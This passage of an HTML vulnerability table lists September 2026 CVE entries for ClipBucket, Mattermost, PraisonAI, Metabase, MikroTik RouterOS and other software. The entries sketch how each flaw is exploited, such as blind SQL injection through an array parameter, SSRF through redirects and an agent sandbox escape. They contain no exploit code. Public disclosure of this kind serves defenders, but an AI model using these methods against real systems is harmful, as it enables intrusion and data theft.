&lt;td&gt;ClipBucket v5 before 5.5.3-#182 contains a blind SQL injection vulnerability that allows authenticated users to extract arbitrary database contents by submitting the msg_id parameter as an array to bypass the clean_requests() sanitization function in ClipBucket.class.php. Attackers can pass unsanitized array elements through the deletion handler in private_message.php into cb_pm::delete_msg(), which interpolates the unescaped message ID directly into a SQL query string, enabling time-based blind SQL injection to retrieve all user credential hashes and email addresses.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77928&quot; target=&quot;_blank&quot;&gt;CVE-2026-77928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;magicblack--MacCMS10&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in magicblack MacCMS10 2026.1000.4055. Affected by this vulnerability is an unknown functionality of the file /admin1.php/admin/template/index/path/.%40template%40default%40html%40label.html of the component Template Handler. Performing a manipulation results in os command injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90788&quot; target=&quot;_blank&quot;&gt;CVE-2026-90788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;marcobambini--Gravity&lt;/td&gt;
&lt;td&gt;A weakness has been identified in marcobambini Gravity up to 0.9.7. The impacted element is an unknown function of the file src/utils/gravity_json.c of the component JSON parser. This manipulation causes memory corruption. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.9.8 is sufficient to resolve this issue. Patch name: 9b337c3eae5833c3956bed1fc01c21c14fd443f2. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90714&quot; target=&quot;_blank&quot;&gt;CVE-2026-90714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;marcobambini--Gravity&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in marcobambini Gravity up to 0.9.7. This impacts the function parse_number_expression of the file src/compiler/gravity_parser.c of the component Number Parser. Performing a manipulation results in out-of-bounds read. It is possible to initiate the attack remotely. The exploit is now public and may be used. Upgrading to version 0.9.8 will fix this issue. The patch is named 1b9bbf3ad5749e2a3434e6ad073c6e93c24207b6. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90716&quot; target=&quot;_blank&quot;&gt;CVE-2026-90716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MatrixAddons--Easy Invoice&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Easy Invoice &amp;lt;= 2.3.8 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66676&quot; target=&quot;_blank&quot;&gt;CVE-2026-66676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7 Mattermost failed to validate Dynamic Client Registration redirect URIs by URL component (matching glob patterns against the raw URI string instead) which allows a remote unauthenticated attacker to register an OAuth client with an attacker-controlled callback host that bypasses the configured redirect URI allowlist via a crafted redirect URI that places an allowlisted host/path suffix inside the query string.. Mattermost Advisory ID: MMSA-2026-00700&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12985&quot; target=&quot;_blank&quot;&gt;CVE-2026-12985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to limit the amount of memory allocated when decoding uploaded image files which allows an authenticated user to cause excessive server memory consumption and potential denial of service via uploading a specially crafted image as a profile picture, channel file attachment, team icon, or custom brand image. Mattermost Advisory ID: MMSA-2026-00719&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15814&quot; target=&quot;_blank&quot;&gt;CVE-2026-15814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to limit size of unpacked SDP messages compressed with zlib, which allows attacker to deny service or crash server via sending many SDP messages that unpack to large size.. Mattermost Advisory ID: MMSA-2026-00643&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5132&quot; target=&quot;_blank&quot;&gt;CVE-2026-5132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 Fail to sanitize Team objects returned by the data retention teams endpoint which allows an authenticated user holding only the read-only Data Retention Policy permission to obtain a private team&#039;s secret invite_id and email, and use it to join the team without authorization, via GET /api/v4/data_retention/policies/{policy_id}/teams.. Mattermost Advisory ID: MMSA-2026-00702&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91181&quot; target=&quot;_blank&quot;&gt;CVE-2026-91181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to validate that a property field belongs to the specified run before updating its value which allows an authenticated user with run property-management access to crash the Playbooks plugin via a REST request referencing a property field that belongs to a different run. Mattermost Advisory ID: MMSA-2026-00684&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9812&quot; target=&quot;_blank&quot;&gt;CVE-2026-9812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to validate channel action ownership which allows channel managers to update actions in other channels via the channel action update endpoint.. Mattermost Advisory ID: MMSA-2026-00692&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10542&quot; target=&quot;_blank&quot;&gt;CVE-2026-10542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to validate null entries in Microsoft Graph webhook notification payloads, which allows an unauthenticated attacker to crash the Microsoft Calendar plugin process and deny calendar integration service to all users on the instance via a crafted {{POST}} request to the public webhook endpoint.. Mattermost Advisory ID: MMSA-2026-00693&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10556&quot; target=&quot;_blank&quot;&gt;CVE-2026-10556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7 fail to enforce authorization boundaries on the access control policy update endpoint which allows a channel or team administrator to detach a system-assigned ABAC parent policy via a crafted PUT /api/v4/access_control_policies request with an empty imports list.. Mattermost Advisory ID: MMSA-2026-00724&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82920&quot; target=&quot;_blank&quot;&gt;CVE-2026-82920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to properly enforce the limit of concurrent files being processed and handled failed files, which allows a user with permission to upload files to spawn more goroutines than intended and block the indexing of other files via uploading heavy files constantly to the server.. Mattermost Advisory ID: MMSA-2026-00696&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11993&quot; target=&quot;_blank&quot;&gt;CVE-2026-11993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to parse Markdown autolinks with unmatched trailing closing parentheses in linear time, which allows an authenticated user with permission to create posts to cause excessive server CPU consumption and degrade availability for other users via specially crafted post or message attachment content. Mattermost Advisory ID: MMSA-2026-00703&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12882&quot; target=&quot;_blank&quot;&gt;CVE-2026-12882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to validate the type of `fields.properties` on block creation which allows an authenticated user with editor access to a board to crash the Boards plugin worker and trigger a denial of service via a child block whose `fields.properties` is a non-object value. Mattermost Advisory ID: MMSA-2026-00710&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13417&quot; target=&quot;_blank&quot;&gt;CVE-2026-13417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to enforce board creation permissions when importing archive files which allows an authenticated non-guest team member to create Open or Private boards despite administrator restrictions via importing a crafted .boardarchive file. Mattermost Advisory ID: MMSA-2026-00712&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14259&quot; target=&quot;_blank&quot;&gt;CVE-2026-14259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.7, 10.11.x &amp;lt;= 10.11.22 fail to enforce the board-creation permission which allows an unauthorized authenticated user to create boards via the board duplicate, boards-and-blocks, and archive-import endpoints.. Mattermost Advisory ID: MMSA-2026-00715&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14344&quot; target=&quot;_blank&quot;&gt;CVE-2026-14344&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost Desktop App versions &amp;lt;=6.2 6.2.2.0 Fixed an issue where Mattermost Desktop did not sufficiently restrict server-rendered content from accessing local or private network resources. Thanks to game0v3r for contributing to this improvement under the Mattermost responsible disclosure policy. Mattermost Advisory ID: MMSA-2026-00698&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75025&quot; target=&quot;_blank&quot;&gt;CVE-2026-75025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions &amp;lt;=11.9 11.0.9 11.4.8 11.7.7 10.22.11.0 fail to recover from handler panics, which allows an authenticated user to crash the plugin via a post-action request with an unexpected field type.. Mattermost Advisory ID: MMSA-2026-00701&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86348&quot; target=&quot;_blank&quot;&gt;CVE-2026-86348&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.0, 11.8.x &amp;lt;= 11.8.4, 11.7.x &amp;lt;= 11.7.8, 10.11.x &amp;lt;= 10.11.22 fail to limit the nesting depth in the server-side Markdown parser which allows an authenticated attacker to cause a denial of service (CPU resource exhaustion) via a crafted post containing deeply nested blockquotes or list items.. Mattermost Advisory ID: MMSA-2026-00707&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86349&quot; target=&quot;_blank&quot;&gt;CVE-2026-86349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Matthias-Wandel--jhead&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in Matthias-Wandel jhead up to 3.3. This impacts the function ProcessGpsInfo of the file gpsinfo.c of the component WebP EXIF Handler. Such manipulation of the argument TAG_GPS_LAT/TAG_GPS_LONG leads to heap-based buffer overflow. An attack has to be approached locally. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90682&quot; target=&quot;_blank&quot;&gt;CVE-2026-90682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mattiasw--ExifReader&lt;/td&gt;
&lt;td&gt;ExifReader is a JavaScript Exif information parser. Prior to 4.40.1, ExifReader.load() and the asynchronous file and URL loaders can pass attacker-supplied HEIC or AVIF data to the ISO-BMFF parser in src/image-header-iso-bmff.js, where findMetaBox() and parseBox() accept an eight-byte box header without confirming that fields required by the parsed box remain in the DataView. A valid ftyp box followed by an empty free or unknown box can cause an unchecked full-box version read, while a truncated extended-size box can make getBoxLength() and hasEmptyHighBits() read absent size fields. The resulting RangeError escapes the main parsing path and can abort an application request or worker when parse errors are not defensively caught, causing denial of service. This issue is fixed in version 4.40.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53496&quot; target=&quot;_blank&quot;&gt;CVE-2026-53496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mayswind--ezBookkeeping&lt;/td&gt;
&lt;td&gt;mayswind ezBookkeeping before 2.0.0 fails to invalidate TOTP passcodes after use, allowing attackers to replay captured codes within the acceptance window. Attackers with stolen credentials can authenticate and reuse a captured passcode against multiple authorization attempts for approximately 90 seconds without detection.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94112&quot; target=&quot;_blank&quot;&gt;CVE-2026-94112&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mealie-recipes--Mealie&lt;/td&gt;
&lt;td&gt;A weakness has been identified in mealie-recipes Mealie up to 3.25.1. Affected is the function payload.model_dump of the file mealie/routes/households/controller_group_recipe_actions.py of the component Recipe Action Trigger. Executing a manipulation of the argument url can lead to server-side request forgery. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 3.26.0 is able to address this issue. This patch is called fb221afa258c8dd2c4ac95b1996c33ef9db3f477. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94028&quot; target=&quot;_blank&quot;&gt;CVE-2026-94028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mealie-recipes--mealie&lt;/td&gt;
&lt;td&gt;Mealie before 3.21.0 fails to validate user ownership in the ratings and favorites endpoints, allowing authenticated attackers to read any user&#039;s recipe ratings and favorites by specifying arbitrary user IDs in the URL path. Attackers can access private recipe identifiers, rating values, and favorite flags belonging to other users across different groups or households.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93736&quot; target=&quot;_blank&quot;&gt;CVE-2026-93736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MediaWiki--MassMessage&lt;/td&gt;
&lt;td&gt;An issue was discovered in the MassMessage extension in MediaWiki before 1.40.2. For a Special:MassMessage?uselang=x-xss URL, the i18n key massmessage-form-page-help allows XSS.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-23176&quot; target=&quot;_blank&quot;&gt;CVE-2024-23176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;melograno--Booking for Appointments and Events Calendar Amelia&lt;/td&gt;
&lt;td&gt;The Booking for Appointments and Events Calendar - Amelia plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing ownership verification on /users/customers/&amp;lt;id&amp;gt; endpoint in all versions up to, and including, 2.4.4. This makes it possible for authenticated attackers, with wpamelia-provider role, to view and modify arbitrary customers, including password reset. Takeover of WordPress user accounts, with the roles up to Editor, is also possible if that user had made an Amelia booking. This vulnerability affects only the Premium version of the plugin, where the Employee Panel is present.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14311&quot; target=&quot;_blank&quot;&gt;CVE-2026-14311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;melograno--Booking for Appointments and Events Calendar Amelia&lt;/td&gt;
&lt;td&gt;The Booking for Appointments and Events Calendar - Amelia plugin for WordPress is vulnerable to unauthorized modification of data in all versions up to, and including, 2.4.5. This is due to the plugin accepting a client-supplied package-redemption identifier as proof of payment without validating it. This makes it possible for unauthenticated attackers to create approved appointment bookings without completing payment&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16582&quot; target=&quot;_blank&quot;&gt;CVE-2026-16582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;memcached--memcached&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in memcached 1.6.41/1.6.42/1.6.43. This vulnerability affects the function try_read_command_asciiauth of the file proto_text.c of the component mcmc Tokenizer. The manipulation results in out-of-bounds read. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 1.6.44 is able to resolve this issue. The patch is identified as af05c9302bba508b736c3da1d5670f63fe8b7db4. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90698&quot; target=&quot;_blank&quot;&gt;CVE-2026-90698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, SpiderTools.scrape_page validates only the initial URL and lets requests.Session.get follow redirects automatically, so a public-looking URL can redirect to a loopback, private, link-local, or metadata address without revalidation. The redirected response body is returned through scrape_page and its extract_links, crawl, and extract_text callers, allowing disclosure from otherwise blocked services. This issue is fixed in praisonaiagents 1.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57115&quot; target=&quot;_blank&quot;&gt;CVE-2026-57115&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the SSE server in src/praisonai-agents/praisonaiagents/server/server.py does not consult ServerConfig.auth_token before handling /publish, /events, or /info requests. A network client that can reach the server can broadcast arbitrary events to connected clients and obtain server configuration and client-count information. This issue is fixed in praisonaiagents 1.6.58.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57128&quot; target=&quot;_blank&quot;&gt;CVE-2026-57128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--praisonaiagents&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, execute_code sandbox mode permits runtime assembly of blocklisted dunder names and allows str.format or str.format_map to resolve dotted fields through C-level attribute access that bypasses _safe_getattr. This exposes class, qualified-name, base-class, globals, and object-dictionary attributes to prompt-influenced code when approval is automatically granted, producing a high-impact read primitive without establishing a complete in-process execution chain. This issue is fixed in praisonaiagents 1.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57120&quot; target=&quot;_blank&quot;&gt;CVE-2026-57120&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;metabase--Metabase&lt;/td&gt;
&lt;td&gt;Metabase through 0.63.18 fails to properly validate the unspecified address 0.0.0.0 in custom GeoJSON URLs, allowing unauthenticated attackers to reach loopback services. Attackers can save a malicious GeoJSON entry with 0.0.0.0 and trigger requests that return loopback service responses to unauthenticated callers.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92813&quot; target=&quot;_blank&quot;&gt;CVE-2026-92813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Copilot&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in a command (&#039;command injection&#039;) in Microsoft Copilot allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55946&quot; target=&quot;_blank&quot;&gt;CVE-2026-55946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mikro-orm--mikro-orm&lt;/td&gt;
&lt;td&gt;MikroORM is a TypeScript ORM for Node.js based on Data Mapper, Unit of Work and Identity Map patterns. Prior to 6.6.16 and 7.1.7, the shared SQL layer validates the field key of an orderBy clause but does not validate its direction value before AbstractSqlPlatform.getOrderByExpression concatenates it into an ORDER BY clause. Applications that bind attacker-controlled request data to the direction in em.find(), em.findOne(), em.findAndCount(), QueryBuilder.orderBy(), or QueryBuilderHelper.getQueryOrderFromObject() can permit a raw SQL fragment that performs blind or boolean extraction of data available to the database account. The BaseMySqlPlatform and MsSqlPlatform fallthrough paths have the same behavior, affecting SQLite, PostgreSQL, MySQL, MariaDB, MSSQL, libSQL, and Oracle drivers, while MongoDB is not affected. This issue is fixed in versions 6.6.16 and 7.1.7.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84993&quot; target=&quot;_blank&quot;&gt;CVE-2026-84993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MikroTik--RouterOS&lt;/td&gt;
&lt;td&gt;MikroTik RouterOS before 7.24 contains an out-of-bounds read vulnerability in the userspace SMB daemon that allows unauthenticated attackers to read beyond the end of the request buffer by supplying a crafted uniPwdLen field value in a minimal SMB1 SessionSetupAndX frame. The out-of-bounds read occurs in the SessionSetupAndX handler before any credential validation, potentially exposing sensitive memory contents.&lt;/td&gt;
